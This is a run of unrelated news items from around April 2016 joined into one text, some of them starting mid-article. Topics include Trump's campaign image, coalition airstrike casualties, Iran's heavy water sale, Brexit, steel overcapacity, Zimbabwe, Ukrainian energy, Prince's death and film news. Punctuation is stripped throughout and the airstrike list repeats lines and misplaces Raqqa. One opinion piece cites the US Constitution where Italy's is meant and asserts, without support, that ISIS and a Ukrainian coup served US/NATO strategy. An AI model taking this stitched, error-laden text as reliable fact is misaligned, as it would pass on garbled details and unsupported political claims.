The slain lawmaker was also an adviser to the provincial government on minority affairs and belonged to the Pakistan Tehreek-i-Insaf party, which heads the ruling coalition in the province bordering Afghanistan.

Sikhs make up less than 1 percent of Pakistan's 190 million people. The founder of Sikhism, Guru Nanak, was born in 1469 in a small village near Lahore, the second-largest Pakistani city.

The Pakistani Taliban have been waging a deadly insurgency against the state, but officials say military-led operations continue against the groups strongholds in tribal areas near Khyber Pakhtunkhwa.
For months, many political observers have speculated that the provocative behavior of Republican presidential frontrunner Donald Trump was an act -- the former reality television star's way to attract media attention in a crowded field of primary election candidates.

On Thursday, Trump's top campaign aide all but confirmed that theory.

Speaking at a private meeting of Republican Party leaders, Paul Manafort, who was recently hired as Trump's campaign chief, acknowledged the billionaire businessman has been "projecting an image" in order to energize voters in the primary election campaign.

But he insisted Trump's demeanor will soon change, as he closes in on the Republican nomination and shifts his focus toward attracting general election voters, who tend to be more moderate.

"When he's out on the stage, when he's talking about the kinds of things he's talking about on the stump, he's projecting an image that's for that purpose," Manafort said, according to an audio recording of the briefing.

'Negatives will come down'

The meeting took place at a Florida resort hotel where Republican leaders are holding a three-day meeting.

"He gets it," Manafort said of Trump. "The part that he's been playing is evolving into the part that now you've been expecting, but he wasn't ready for because he had first to complete the first phase. The negatives will come down. The image is going to change."

It represents a stunning admission about a candidate who has defied countless conventional norms as he barrels his way closer to the Republican nomination, despite concerns by many mainstream Republicans.



Manafort was hired last month to help clean up Trump's image and work closer with party leaders, especially during the crucial process of selecting nominating delegates who will attend the Republican national convention in July.

Trump is widely seen as having ignored the importance of the delegate selection process, which he has repeatedly slammed as corrupt. But more recently he has also begun to court delegates, who could play an unusually large role in the nominating process, especially in the event of a contested convention.

Manafort said Trump is willing to work with the party, and has brought in a "team of professionals" who will "finish the job" and begin to "link in with the establishment institutions that are part of our party."

It is not clear whether party leaders will accept Trump's olive branch, and become more open to working with him if he tones down his rhetoric. It is also not clear whether Trump will follow the advice of his aides and change his style.

Not ready to dial back

At a campaign event in Pennsylvania on Thursday, Trump said he is not sure if he is ready to start acting more "presidential."

"I just don't know if I want to do it yet," he said. "At some point, I'm going to be so presidential that you people will be so bored."

Pundits have at various phases of the campaign predicted Trump will dial back some of his more controversial behavior. Trump himself has said repeatedly that he will act in a more professional way should he become president.

Many political pundits have said that Trump's more controversial statements appeared to be an attempt to dominate the news cycle and shift focus away from other Republican candidates.

His flamboyant, straight-talking behavior is also seen as an attempt to pick up unaffiliated voters who would not normally participate in electoral politics.
U.S. and coalition airstrikes targeting Islamic State militants in Iraq and Syria killed 20 civilians and wounded another 11 during a five-month period, according to the latest assessment by military officials.

U.S. Central Command has been conducting an ongoing review of civilian casualties and said the deaths and injuries came as a result of nine airstrikes from September 2015 to February 2016.

Iraq, Syria Strikes at a glance Iraq, Syria Strikes at a Glance: Sept 10, 2015 : 2 killed, 4 wounded when civilian vehicle wandered into IS target area near Hit, Iraq after weapons launched

: 2 killed, 4 wounded when civilian vehicle wandered into IS target area near Hit, Iraq after weapons launched Oct 5, 2015 : 8 civilians killed in strike on IS mortar position near Atshanah, Iraq

: 8 civilians killed in strike on IS mortar position near Atshanah, Iraq Nov 4, 2015 : 2 civilians killed when targeted IS vehicle pulled off road, stopped near civilians in al Huwayjah, Iraq

: 2 civilians killed when targeted IS vehicle pulled off road, stopped near civilians in al Huwayjah, Iraq Nov 12, 2015 : 1 civilian killed in strike on IS in Ramadi, Iraq

: 1 civilian killed in strike on IS in Ramadi, Iraq Dec 10, 2015 : 1 civilian killed near Raqqa, Iraq, in strike on IS external planner Siful Sujan

: 1 civilian killed near Raqqa, Iraq, in strike on IS external planner Siful Sujan Dec 12, 2015 : 5 civilians killed near IS checkpoint in Ramadi, Iraq, after vehicle moved into area post-weapons launch

: 5 civilians killed near IS checkpoint in Ramadi, Iraq, after vehicle moved into area post-weapons launch Dec 24, 2015 : civilian in motorcycle killed after riding into target area post-weapons launch in Tishreen, Syria

: civilian in motorcycle killed after riding into target area post-weapons launch in Tishreen, Syria Jan 11, 2016 : 1 civilian killed, 5 injured in strike on IS cash depot in Mosul, Iraq

: 1 civilian killed, 5 injured in strike on IS cash depot in Mosul, Iraq Feb 2, 2016: civilian killed after driving into area where IS vehicle had been targeted, al Ghazali, Syria

In four of the nine airstrikes, officials concluded civilians were killed or injured after moving into the target area after the planes or drones had already fired their weapons.

In another strike, the U.S. concluded two civilians died after weapons had locked on and fired at an Islamic State vehicle, which then pulled off to the side of the road, stopping in an area where two civilians were present.

A statement from U.S. Central Command said the all the airstrikes complied with the law of armed conflict and all appropriate precautions were taken.

What you have is again, ISIL operating in crowded, populated areas, said Central Command spokesman Col. Pat Ryder.

Particularly with an enemy who hides among the civilian population, there are going to be, unfortunately, civilian casualties, he said. We do everything we can to avoid it.

U.S. officials have previously said they would be less averse to higher numbers of civilian casualties for some airstrikes, including those targeting Islamic States cash centers.

The new report found one civilian was also killed and five more injured in just such a strike on an Islamic State cash distribution center in Mosul on January 11, 2016.

These are tough decisions the commanders have to make, Operation Inherent Resolve spokesman Steve Warren told reporters earlier this year when asked about a separate strike on an Islamic State cash depot on January 18, 2016.

We were prepared to accept civilian casualties, in conjunction with this cash strike, Warren said of the January 18 strike, which was not covered in the latest civilian casualty report.

It's tragic, and it's not something that we want to do, he said, adding at the time that the initial estimates of civilian casualties in the January 18 strike were extraordinarily low, single digits.

An independent organization that monitors civilian casualties, Airwars.org, said Friday the U.S. admission of additional civilian casualties was a good step but not enough.

"We remain concerned that the Coalition is significantly under-reporting non-combatant deaths, Airwars Director Chris Woods said in a statement published on the groups website.

The not-for-profit group, funded by charitable organizations and human rights activists, estimates coalition airstrikes have killed between 1,064 to 1,638 civilians since August 2014  far more than military authorities have reported.

In all, the U.S. estimates 41 civilians have been killed and 28 injured in coalition airstrikes since the start of the U.S.-led campaign against Islamic State.

In the same time, the coalition has launched 91,000 sorties (air missions) and almost 12,000 airstrikes against Islamic State targets.

This is an extremely precise air campaign, said U.S. Central Commands Col. Ryder. We take a lot of efforts to make sure were striking what we intend to strike.
The United States is purchasing 32 tons of a key component in the development of atomic weapons from Iran, in a bid to help Tehran implement provisions in the landmark nuclear deal.

The U.S. Energy and State departments confirmed Friday the purchase of heavy water, which can be used to produce weapons-grade plutonium.

The plan was announced as U.S., Iranian and other officials met in Vienna to discuss implementation of the nuclear agreement, known as the Joint Comprehensive Plan of Action, or JCPOA.

Earlier, Iran sold low-enriched uranium to Russia to help implement the deal.

Word of the U.S. purchase came ahead of a Friday meeting between Secretary of State John Kerry and Iranian Foreign Minister Mohammad Javad Zarif on the sidelines of the U.N. climate change signing ceremony in New York.

Iran has complained that it has not been getting the sanctions relief it deserves under the nuclear deal because of restrictions imposed by financial institutions.

Heading into the talks, Kerry said the U.S. has not and will not stand in the way of business permitted in Iran since the nuclear agreement was implemented in January.

Unfortunately, there seems to be some confusion among some foreign banks, and we want to try to clarify that as much as we can, he said.

'Difficult path'

Zarif said Iran continued to have differences with the U.S.

We hope that the statement made today by Secretary Kerry will begin to open the difficult path that has been closed because of concern that banks had about the U.S. approach towards implementation, he said.

Earlier Friday, the heavy water purchase drew immediate criticism from some U.S. lawmakers, including House Foreign Affairs Committee Chairman Ed Royce, who has expressed ongoing concerns about the possible ramifications of the nuclear deal.

"Once again, the Obama administration is handing Iran's radical regime more cash," Royce said.

"Far from curbing its nuclear program, this encourages Iran to produce more heavy water to sell, with a stamp of U.S. approval," he added.

The State Department said the U.S. would not lose sight of its concerns about Irans provocative actions, such as its recent ballistic missile tests.

No one is blind to Irans unhelpful activities in the region, said Elizabeth Trudeau, the department's press relations director.

This [heavy water purchase] was a commercial transaction. It was allowable. It fills a need here in the United States, she added in a Friday briefing.

U.S. officials say the purchase will cost about $8.6 million. They described the transaction as "limited in scope" and said it would be routed through "third-country financial institutions." A senior State Department official said the U.S. has not ruled out future purchases.

Transportation, resale

The Energy Department said it expected to resell the heavy water to U.S. research and commercial buyers, but indicated the U.S. had not committed to future sales.

"The United States will not be Iran's customer forever," the Energy Department said in a statement. "It is exclusively Iran's responsibility to find a way to meet its JCPOA commitments."

The State Department said Iran was expected to deliver the heavy water to the U.S. "in the coming weeks."

State Department spokesman John Kirby said the material was not radioactive and did not present safety concerns.
What: "Brexit" is an abbreviated term that refers to Britain's possible withdrawal from the 28-nation European Union. It is an adaptation of "Grexit," a reference to a possible Greek exit from the eurozone.

When: On June 23, British voters will decide whether their country remains in the EU. The date was set by British Prime Minister David Cameron.

Referendum question: Voters will be asked, "Should the UK remain a member of the EU or leave the EU?" The question was recommended by Britain's Electoral Commission and accepted by the government and parliament.

Why: To appease the Conservative Party and undermine EU opponents, Prime Minister Cameron promised to hold a referendum on the issue if he was reelected in 2015. Conservatives, now in the majority, have been split on the question of EU membership for some 40 years. Grassroots Conservatives generally favor leaving the EU.

Significance: Proponents of a British exit believe it would free Britain from rules that are adverse to job creation and allow the country to choose its laws and trading partners. EU advocates contend Britain should maintain its membership in a bloc of like-minded countries, a move they say would help sustain the country's global influence and military and economic security.

Eligible voters: Citizens over age 18 can cast ballots on the Brexit question. This includes citizens in Britain and the Commonwealth of Nations, an intergovernmental group of 53 member states.

Outlook: Various pollsters are regularly tracking public opinion on the Brexit issue. The Economist has produced an interactive poll-tracker that tracks sentiment on a daily basis.
Earlier this week, the United States joined the worlds major steel-producing nations to call for swift action on reducing global steel output  an oversupply crisis that most advanced economies believe is exacerbated by Chinas excess capacities.

But the international push may not go anywhere because China, which accounts for half of world steel production, cant afford to risk political and social instability at home while re-balancing its economy, analysts said.

That, they added, may strengthen the worlds tendency towards taking protectionist measures, such as anti-dumping tariffs, against the mega-producer.

That tendency towards intervention, I think, is something that could go much further. And the intervention could extend beyond nationalization of industries to erection of tariffs to try to keep Chinese imports out, said Russell Jones, a macroeconomist and partner of London-based Llewellyn Consulting LLP.

He was referring to the British governments decision Thursday to assume up to a 25 percent stake in Tatas U.K. operation as the Indian steel group announced an exit plan after being battered by a surge in cheap Chinese imports.

According to a spokeswoman for Prime Minister David Cameron, if the British government were to take an equity stake, it would be a minority one with the aim of supporting the purchaser in delivering long-term future for the business.

Call for action



Prior to that, the United States, Canada, the European Union, Japan, Mexico, South Korea, Switzerland and Turkey issued a joint statement on Tuesday calling for nations to act quickly to cut steel output  one day after they failed to reach a comprehensive multilateral agreement to do so during a crisis meeting in Brussels, which was attended by 30 countries, but not China.

On the same day, U.S. Commerce Secretary Penny Pritzker told the NPR news agency that the steel crisis has forced industry price declines, decreased profitability and caused the loss of 13,000 jobs in the past year.

Chinas official Xinhua news agency criticized the Brussels meeting.

Blaming other countries is always an easy, sure-fire way for politicians to whip up a storm over domestic economic woes, but finger-pointing and protectionism are counterproductive, the papers editorial read.



To many, the papers undiplomatic reaction will only intensify the global conflict and possibly trigger a trade war, which Jones said is in no countrys interest.



Stability comes first

Instead, Jones said he expects China to pay some lip services abroad while rationally balancing the cost and benefit in restructuring its own economic woes at home.

China doesnt really have this sort of social safety net, the unemployment insurance, so on and so forth, that we are used to in the Western economies. So, they have used state-owned enterprises in many respects that are a sort of surrogate system of social insurance, he said.

He added that China will make social and political stability its top priority, which will determine the pace of its economic restructuring.



Some politicians, such as Sajid Javid, Britains Secretary of State for Business, Innovation and Skills, are optimistic about Chinas commitments to shed over capacities.

It is a stance that Lin Boqiang, director of the China Center for Energy Economics Research at Xiamen University, cant stress enough.



He said Chinese steel mills are also suffering as 32.5 percent of global output went unused last year. As a result, more than half of the countrys major steel producers reported losses last year, although annual exports grew more than 20 percent to 112 million tons.



400,000 jobs at stake

Statistics from the China Iron and Steel Association indicate its member companies suffered a combined loss of 64.5 billion yuan ($9.9 billion) last year, compared with profits of 22.6 billion yuan ($3.4 billion) in 2014.



So Beijing is targeting the closure of 100-150 million tons of capacity at a cost of roughly 400,000 jobs within the next five years.



That means China has to find ways to re-employ those workers, most likely in a line of work unrelated to steel production, which wont be an easy task, Lin said.

Meanwhile, the quickest cure to the sectors overproduction is to boost Chinas local demand by initiating local infrastructure projects, the professor suggested.

If the demand side can be stimulated, [steel] prices can be bolstered by rising demand. With a rosier performance, it will be easier for businesses to plan an exit, Lin said.

Lin urged steel-producing nations to refrain from taking mutually-destructive measures because the global market will have nothing to gain if the Chinese market crashes.
Zimbabwe human rights activist are celebrating the publication of a memoir recounting abuses by the country's security apparatus, calling it a crucial reminder of obstacles they still face.

In the book, Jestina Mukoko, director of the Zimbabwe Peace Project, discusses her 2008 abduction and torture by state security agents in Harare.

They were bashing the soles of my feet. That went on for hours. I was made to kneel on gravel. You know the small stones piercing through your skin, the pain is unbearable, the author told VOA.





In the book, she describes how agents also exposed her to extremely loud music day and night, interrogating her for hours on end before handing her over to the police who took her to court on charges of plotting against the government.

She was released on bail in March 2009 and a judge ruled that September that her rights had been violated.

She said the government targeted her in 2008 because she was investigating rights abuses committed by state security forces during elections earlier that year.

Advocacy groups said her story is not an isolated one and that people who speak out against the government of Robert Mugabe continue to face intimidation, arrest and other abuses.

Just last month, activists marched in Harare to demand an investigation into the disappearance of journalist and activist Itai Dzamara in 2015.

Dewa Mavhinga, a senior researcher in the Africa Division at Human Rights Watch, said neither abductees' case is unusual.

What happened to Jestina Mukoko can happen to other people, continues to happen, we have a recent abduction last year of Itai Dzamara," he said. "He remains disappeared outside the protection of the law. So this is important to show that these things are happening and more importantly there hasnt yet been accountability.

Zimbabwes government denies the charge that there is no impunity for abuses.

The chairperson of the Zimbabwe Human Rights Commission, Elasto Mugwadi, told VOA that the commission will investigate the case if Mukoko files a complaint about the abuses chronicled in her book.



But according to Mukoko, who says she wrote her book to comfort others who have had similar experiences but are afraid to come forward, seeking redress via formal government channels would be pointless.

The challenge that we have before us is to heal those wounds. And we need to be able to look back and say we dont want that to happen again, she said.

Since her release in 2009, Mukoko has remained in Zimbabwe to continue her humanitarian work.
The United States Agency for International Development (USAID) says Zimbabwe is a top priority for Washington in the provision of food aid amid reports of donor fatigue.

Jason Taylor, chief of the Office of Humanitarian Assistance and Resilience at USAID Zimbabwe, says indications are that the food situation will worsen in the country as most crops have failed this season.

The United Nations has prepared a revised humanitarian response plan, which identifies priority humanitarian needs of slightly over $355 million for the period April 2016 to march 2017 to address the immediate needs of 2.8 million drought-affected people.

This is 30 percent of the total rural population. The World Food Program and UNICEF say responses to their financial aid appeals have not been encouraging, with WFP facing a funding gap of $200 million while UNICEF has not received any funds towards its $21 million humanitarian appeal.

In a related development, a Brisith-based Zimbabwean Jason Matewu has donated 200 bags of mealie meal to the most vulnerable people in rural Buhera West.

Matewu told VOA Studio 7 it is important for Zimbabweans in the diaspora to help the needy as the food crisis worsens.
People with disabilities say commemorating 36 years of independence from colonial rule should also be a time for Zimbabweans to reflect on the numerous challenges that the disabled face.

Programs officer of the National Association of Societies for the Care of the Handicapped, Tsarayi Mungoni, says while Zimbabweans were liberated politically, many still a negative attitude towards people with disabilities.

He says there need for a systematic approach to educate communities to safeguard the dignity of such individuals.

They tend to protect family members with disabilities thinking that they cannot go to school. As they interact with other children they feel face the risk of being stigmatized, being harmed psychologically. So you find that they are always kept at home. So children with disabilities tend to grow up a negative self-concept.

Mungoni, who is blind, says over the years blind children have been denied relevant reading materials. He says this is contrary to the sustainable development goals which call on governments to ensure inclusive and quality education for all citizens.

Some mathematics is presented in pictorial or diagrammatical form including some science subjects. Given the fact that in Zimbabwe there is an acute shortage of Braille reading material children with visual impairment have to rely on sighted colleagues who read out to them books in conventional print. This challenge straddles to higher education where some institutions insist on mathematics as an entry requirement into some programs.

Mungoni says if independence is to have meaning for people with disabilities, government should put together a ministry for such people, as is the case in Uganda, Botswana and South Africa. He said this will ensure that all government policies are sensitive to the needs of the disabled.

Twenty-eight year-old Hedwig Machina, who is disabled in both legs and uses a wheel chair, shares the same views. She says Zimbabweans should respect the constitution which states that people with disabilities should have equal access to education.

"Most of the schools are not accessible especially in the rural areas. In towns there is the problem of accessibility to toilets and offices because of steps. If you want to go and see your teacher or lecturer you wont be able to go by yourself. You will need someone to assist you. In rural areas it will actually be an issue for someone to move from home to where the school is because the schools may be kilometers away from home."

Machina says people still discriminate against those with disabilities 36 years after independence. She says there are very few educational programs to educate society on this issue.

People have been taught about HIV and homosexuality. Everyone knows they can meet a lesbian, they can meet someone with HIV and treat them equally. If films could be produced in Zimbabwe lets see someone with a disability participating in those films. If there is to be any opportunity in any field let someone be employed in that field who has a disability. That way people will be educated about disabled persons.

Sixty eight-year-old Harare resident, Edward Chideme, who is disabled in both legs, is confined to his house because his shoes, calipers and wheelchair have worn out. He cannot afford to buy them because he is unemployed. One needs to pay one hundred dollars to have a pair of shoes made at Parirenyatwas Orthopedic Centre. A pair of calipers cost $150.

Chidema says government should address the crisis facing many like him who have been rendered immobile due to lack of assistive devices.

Thats the biggest problem because our shoes appear ordinary when people look at us but my shoe has to be specially done so that I move and not get problems. But now I am forced to get an ordinary shoe, try to fix the socket and move, but I will be putting myself in danger. The wheel chair is new when you get it but the wheels are now worn out, repairs are needed and you are just sitting down. You cant go to the groceries because you cant move with a thing that is not working.

Chideme says Government officials need to change their mindset because they are reluctant to meet people with disabilities over their problems.

When you hear so and so is in the area you try to force yourself in their presence, but you know how people are. Sometimes you end up turning back. But I have made applications through the chairman of my cell who has promised to take word to them but nothing happened. I am complaining because I am a citizen of Zimbabwe. I still look forward to meeting them.

His brother Patrick says young people should be freed from the mentality of thinking that those with disabilities should be secluded from society.

Very few people consider disability especially when we look at the young generation. They definitely think the disabled are a different nation, we are just but one people. I think the government should put this occasion into consideration. If the government just puts these guys into consideration I think things will be okay on their side. Very few of them have the chance to be somewhere or being interviewed like we are doing.

Director of the Albino Charity Organisation of Zimbabwe, Loveness Mainato, says she is concerned government has not made efforts over the past decades to produce cheap locally-made sunscreen lotions. People with albinism require sunscreen lotions to protect their skin from the harmful effects of the sun. The World Health Organisation says persons with albinism in Africa are deprived of basic health care services vital for their survival. Mainato says as a first step government should reduce the cost of importing the lotions.

These sunscreen lotions are being charged duty and we need them in the morning, afternoon and evening. One tube lasts three weeks to a month. One tube costs 20 dollars and above and this means you need 40 or 50 dollars per month. You can imagine how expensive it is since these lotions are charged duty.

Mainato says government should also develop appropriate strategies for assisting people with albinism such as integrating albinism awareness in the school curriculum.
Ukraine on April 19 did not suspend supplies of gas from Hungary and continues its imports from Europe from three directions, Head of the public and media relations department at Ukrtransgaz Maksym Beliavsky wrote on his Facebook page.

Data on the website of Hungary's FGSZ confirm that imports was not halted, while data on Ukrtransgaz's website have not been changed and say that Ukraine did not import gas from Hungary on April 19.

Beliavsky said that 4.8 million cubic meters of gas daily arrives to Ukraine from Hungary, 3.5 million cubic meters from Poland and 2.4 million cubic meters from Slovakia.

Consumption in Ukraine on April 21 was 48 million cubic meters and 10.8 million cubic meters was pumped into underground storage facilities.
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Ukraine increases electricity exports by 30.4% in three months of 2016

Ukraine in January-March 2016 increased electricity exports by 30.4% compared to the same period in 2015, to 1.158 billion kWh, a source in the Ministry of Energy and Coal Industry has told Interfax-Ukraine.

Electricity supplies from the Burshtyn TPP energy island in the direction of Hungary, Slovakia and Romania for the three months decreased by 3.5% compared to January-March 2015, to 853.694 million kWh.

Electricity supplies to Poland amounted to 300.215 million kWh, while in January-March 2015 they were not carried out.

In January-March 2016 Moldova was supplied 3.702 million kWh of power, Belarus was not supplied electricity.

Ukrainian electricity was not exported to Russia in January-March 2015 and January-March 2016.

At the same time, in March 2016 exports of Ukrainian electricity amounted to 448.975 million kWh, which is 15.3% up year-on-year.

In addition, Ukraine in January-March 2016 imported 14.607 million kWh of electricity against 1.239 billion kWh for the three months of 2015.
First published January 16, 2016

Twenty five years ago, in the early hours of 17 January 1991, Operation Desert Storm began in the Persian Gulf. This is the war against Iraq that opens the historical phase that we are currently living. The timing of the launch of this war: after the collapse of the Berlin Wall, the Warsaw Pact and the Soviet Union itself are on the verge of being torn up. This creates in the European region and Central Asian an entirely new geopolitical situation. And, on the global scale vanishes a superpower capable of standing up to the United States.

President Bush is seizing this historical change, says Colin Powell. Washington immediately drafts a new strategy for national security and a military strategy to support it. The Iraq attack at Kuwait, ordered by Saddam Hussein in August 1990, allows the United States to implement its new strategy exactly when they begin to publish it.

Saddam Hussein, who becomes the number one enemy, is the same person that the United States supported in the eighties in the war against an Iran, led by Khomeini, the then number one enemy of US interests in the Middle East. But when the war with Iran ends in 1988, the US fears that Iraq, that is also benefitting from Soviet help, will acquire a dominant role in the region. Accordingly, the US turns to the traditional policy of divide and rule. Under the direction of Washington, the conduct of Kuwait also changes: it demands the immediate repayment of the debt contracted by Iraq. By exploiting the Rumaila oilfield that extends on both territories, it takes its own petrol production above the quota established by OPEC. It therefore damages Iraq, that emerged from the war with a foreign debt of more than 70 billion dollars, 40 billion dollars of which was owed to Kuwait and Saudi Arabia. At this point, Saddam Hussein is thinking of coming out of the impasse by re-annexing the Kuwait territory that, on the basis of the borders traced in 1922 by the British proconsul Sir Percy Cox, bar Iraq from accessing the Gulf.

Washington lets Baghdad think that it wants to stay out of the dispute. On 25 July 1990, while the Pentagon satellite shows that invasion is now imminent, the US ambassador at Baghdad, April Glaspie, assures Saddam Hussein that the United States wants to build optimal relations with Iraq and has no intention of interfering in the inter-Arab conflict. Saddam Hussein falls into the trap: a week later, on 1 August 1990, Iraqi forces invade Kuwait.

At this point, Washington, after an international coalition had been formed, sends to the Gulf a force of 750,000 men, of which 70% are US, under the orders of the General del Schwarzkopf. For 43 days, the US aviation and the allies make, with 2800 planes, more than 110,000 sorties, releasing 250,000 bombs, including cluster bombs that can release another 10 million sub-ammunitions. Participating in the bombings with the United States, are British, French, Italian, Greek, Spanish, Portuguese, Belgian, Dutch, Danish, Norwegian and Canadian air and naval forces. On 23 February, the troops of the coalition, including another half a million soldiers, launched an offensive on the ground. That ends on 28 February when President Bush declares a temporary cease-fire. The war is followed by an embargo that makes more victims of the Iraqi people than the war: another million, half of which are children.

Immediately after the Gulf War, Washington sends out to its enemies and allies an unequivocable message: the United States is the only state with a force, capacity and influence in every field  political, economic and military  that is truly global. There is no substitute for American leadership (Strategy for US National Security, August 1991).

The Gulf War is the first war in which the Italian Republic participates under US command. This is in violation of article 11 of the US Constitution. NATO, although not officially participating as such in this war, makes available its forces and structures for military operations. A few months afterwards, in November 1991, the Atlantic Council launches, on the back of the new US strategy, the new strategic concept of the Alliance. That same year Italy launches a new model for defense which, distorting the Constitution, indicates that the mission of armed forces is the protection of the national interests wherever it may be necessary.

Thus born with the Gulf War, is the strategy that guides the successive war under US command, presented as humanitarian peacekeeping operations: Yugoslavia 1999, Afghanistan 2001, Iraq 2003, Libya 2011 and Syria from 2013. These are accompanied in the same strategic context by the wars that wage Israel against Lebanon and Gaza, Turkey against the Kurds of the PKK, Saudi Arabia against Yemen; by the formation of ISIS and other terrorist groups that are functional to the US/NATO strategy; by the use of Neo-Nazi forces for a coup detat in Ukraine functional to the new cold war against Russia. What President Bush said in August 1991 is prophetic but in another sense tragic: The Gulf Crisis will go down in history as the melting pot of the new global order.
Photo: Theo Wargo/Getty Images

The mohawk was something that Marty and I came up with, Robert De Niro said at the Tribeca Film Festivals 40th anniversary screening of Taxi Driver at the Beacon Theater Thursday night. The event brought De Niro together with director Martin Scorsese, screenwriter Paul Schrader, co-stars Jodie Foster and Cybill Shepherd, and producer Michael Phillips. A friend of his, who was in special forces at that time, would do HALO [high altitude] diving into Cambodia, or Laos, or whatever. And he showed us a picture of he and his outfit and a couple guys had mohawks, or at least one or two of them did, as I remember.

For those still wondering whether the legendary method actor took out the shears, his wicked haircut was, of course, just a wig put together by makeup effects wiz Dick Smith. (De Niro needed a full bob for his next film, The Last Tycoon.) I remember I was in the other room and I had fallen asleep while he was working on the headpiece or whatever it is  the mohawk, Scorsese said to De Niro. And then I felt a tap on my shoulder, and I opened my eyes and you were there with this thing, and it was terrifying!

Jodie Foster meanwhile had a bit of a fright herself  not because she was tackling the role of a child prostitute, but because she was worried that her friends would make fun of her. Why? The hot pants and the dumb hat and the sunglasses, she said. The first day I cried. Then I was absolutely mortified.

But Foster is proud of the work she did, telling Vulture earlier on the red carpet that Taxi Driver still resonates with audiences because it speaks to a bygone era in American cinema. It was the first anti-hero film that really questioned the structure of what films were doing at that time, she said.
In honor of the legendary Purple One, MTV exchanged its regular Thursday programming for an all-day, all-Prince music-video marathon. But unfortunately, as Deadspin points out, Will Smiths Girls Aint Nothing But Trouble video found its way on the air in between New Power Generation and Controversy. If youre thinking to yourself, Nope, thats not the right Prince, you wouldve been one of many also thinking that at around 5:55 p.m. EST (see below).

lol mtv wrong prince pic.twitter.com/skTEiqBTV5  Lindsey Adler (@Lahlahlindsey) April 21, 2016

Turned to MTV expecting to see Prince music videos and what did I see instead? DJ Jazzy Jeff and The Fresh Prince pic.twitter.com/dkocCKJFCW  anxiety.jpeg (@NerdPoetics) April 21, 2016

It's been so long since MTV played music videos, they forgot that Prince and Fresh Prince are two different people pic.twitter.com/R6PzSn6KTE  April (@AprilTara) April 21, 2016

MTV algorithm fail: Fresh Prince is not Prince. pic.twitter.com/Y1v6bLbT6x  Stacey Shick Samuels (@StaceyShick) April 21, 2016

MTV hasnt addressed the Fresh PrincePrince mix-up yet, but thats likely all it was. The channel, along with VH1, has plans to continue playing blocks of the music icons most influential videos and Purple Rain:

Prince was found dead of unknown causes earlier Thursday at his Paisley Park estate. The Carver County Sheriffs Office, in Minnesota, told media afterward that it was investigating the situation, and that a local medical examiner would conduct an autopsy.
As everyone mourns the loss of Prince, so too must the president of the United States. President Obama released a statement today on behalf of himself and his wife, First Lady Michelle Obama, saying that the world lost a creative icon. Read the full statement below:

Today, the world lost a creative icon. Michelle and I join millions of fans from around the world in mourning the sudden death of Prince. Few artists have influenced the sound and trajectory of popular music more distinctly, or touched quite so many people with their talent. As one of the most gifted and prolific musicians of our time, Prince did it all. Funk. R&B. Rock and roll. He was a virtuoso instrumentalist, a brilliant bandleader, and an electrifying performer.



A strong spirit transcends rules, Prince once said  and nobodys spirit was stronger, bolder, or more creative. Our thoughts and prayers are with his family, his band, and all who loved him.
Prince. Photo: Chelsea Lauren/2015 Getty Images

When the late Prince was hospitalized in Illinois six days ago, according to TMZ, he was treated for a drug overdose. Multiple sources in Moline tell us, Prince was rushed to a hospital and doctors gave him a save shot, the site writes, typically administered to counteract the effects of an opiate. (TMZs unconfirmed update is not an official cause of death, and Princes reps have yet to respond to it  they initially said he was battling a flu.) Prince then left for Minnesota three hours later because he couldnt get a private room, though doctors reportedly wanted him to stay for a full 24. His body was discovered in an elevator at his Paisley Park estate early Thursday.

Variety has published portions of the mornings 911 transcript: People are just distraught, says an unidentified caller. I dont know [how Prince died], I dont know. The Carver County Sheriffs Office told the media that it is still investigating the situation, and that a local medical examiner will conduct an autopsy.

Update: Last weeks medical emergency was reportedly tied to Percocet, an opioid combo of acetaminophen and oxycodone used to treat moderate to severe pain. TMZ notes Prince had been using the medication for a hip problem, which stemmed from a previous corrective surgery. The singers autopsy will be performed today.
Prince and Manuela Testolini. Photo: Carlo Allegri/Getty Images

Just a few days before his death, Princes ex-wife Manuela Testolini told him she was building a school in his honor. My heart aches that the school will now be built in his memory, Testolini told The Hollywood Reporter. Prince and Testolini met in Princes hometown of Minneapolis while she was working for his charitable foundation; they were married from 2001 to 2006. Today she runs the In a Perfect World Foundation in Los Angeles. Testolini released this statement:
Emma Stone. Photo: Frederick M. Brown/Getty Images

Emma Stone, Kate McKinnon, and Jillian Bell will star in your second favorite upcoming lady-led comedy film (after Ghostbusters, of course). According to The Hollywood Reporter, Laura Steinel wrote the script and Jake Szymanski is attached to direct. The film will center on two competitive women who embark on a business trip to Canada. When they get there, they hire a female intern off of Craigslist, which derails their quest to smash the glass ceiling. Whats Craigslist Canada even like? Is it a utopia devoid of the weirdos that lurk on New York Craigslist? Is it a good place to find an intern? Time will tell! No word on which of the three women will play the intern, although Emma Stone is the youngest of the trio at 27. Its great to see McKinnon nab another lead in a comedy ahead of Ghostbusters. Paul Feig really knows how to pick his protegees. Prepare yourself for a lot of jokes about leaning in.
President of Ukraine Petro Poroshenko during his visit to Romania has signed an agreement on cooperation in the field of military transportation between the two countries.

"We've signed an agreement on cooperation in the field of military transportation, which is very important for the development of bilateral cooperation between the defense ministries of Ukraine and Romania," Poroshenko said during a joint press conference with Romanian President Klaus Iohannis in Bucharest.

However, the president of Ukraine has not specified the details of this agreement.

According to an Interfax-Ukraine correspondent, the document was signed by the defense ministers in the framework of Poroshenko's visit to Bucharest.
Photo: Universal Pictures, Le Pacte

Two movies based on fairy tales open this week: the sequel no one wanted to Snow White and the Huntsman, and Tale of Tales, a cruel, dissonant adaptation of one of the oldest extant folk-story collections, by the Italian director of Gomorrah. Set them side-by-side and the differences are stark. You couldnt ask for a better illustration of corporate Hollywood dull-wittedness.

The only reason to subject yourself to The Huntsman: Winters War, a mush of Game of Thrones and Disneys Frozen with CGI that looks uncannily like CGI, is Emily Blunt, who gives the nearest thing Ive seen in an American movie to a kabuki performance.

Blunt plays Freya, the sister of the first films villain, Ravenna (Charlize Theron), who begins all melty-eyed and swoony and then transforms  after losing a child and a lover under horrific circumstances  into a sort of Snow Queen. Freya turns the landscape to ice, moves into an ice castle, and trains her soldiers  acquired as impressionable children  to make war, not love. Never love. Love, she declares, is a lie, a trick played on the foolish and the weak. This puts a damper on the smoldering passion of her best soldiers, Eric the Huntsman (Chris Hemsworth) and Sara (Jessica Chastain).

But enough about them  theyre boring and too old for their parts. Id say Chastain has outgrown bland-ingenue roles like Sara, except shed never have stooped to play them when she was young. Big paychecks are turning her into a dull girl. The gifted comic actors Nick Frost and Rob Brydon get their heads transposed onto dwarf bodies and the metaphor, though politically incorrect, is hard to ignore. They look like stunted giants.

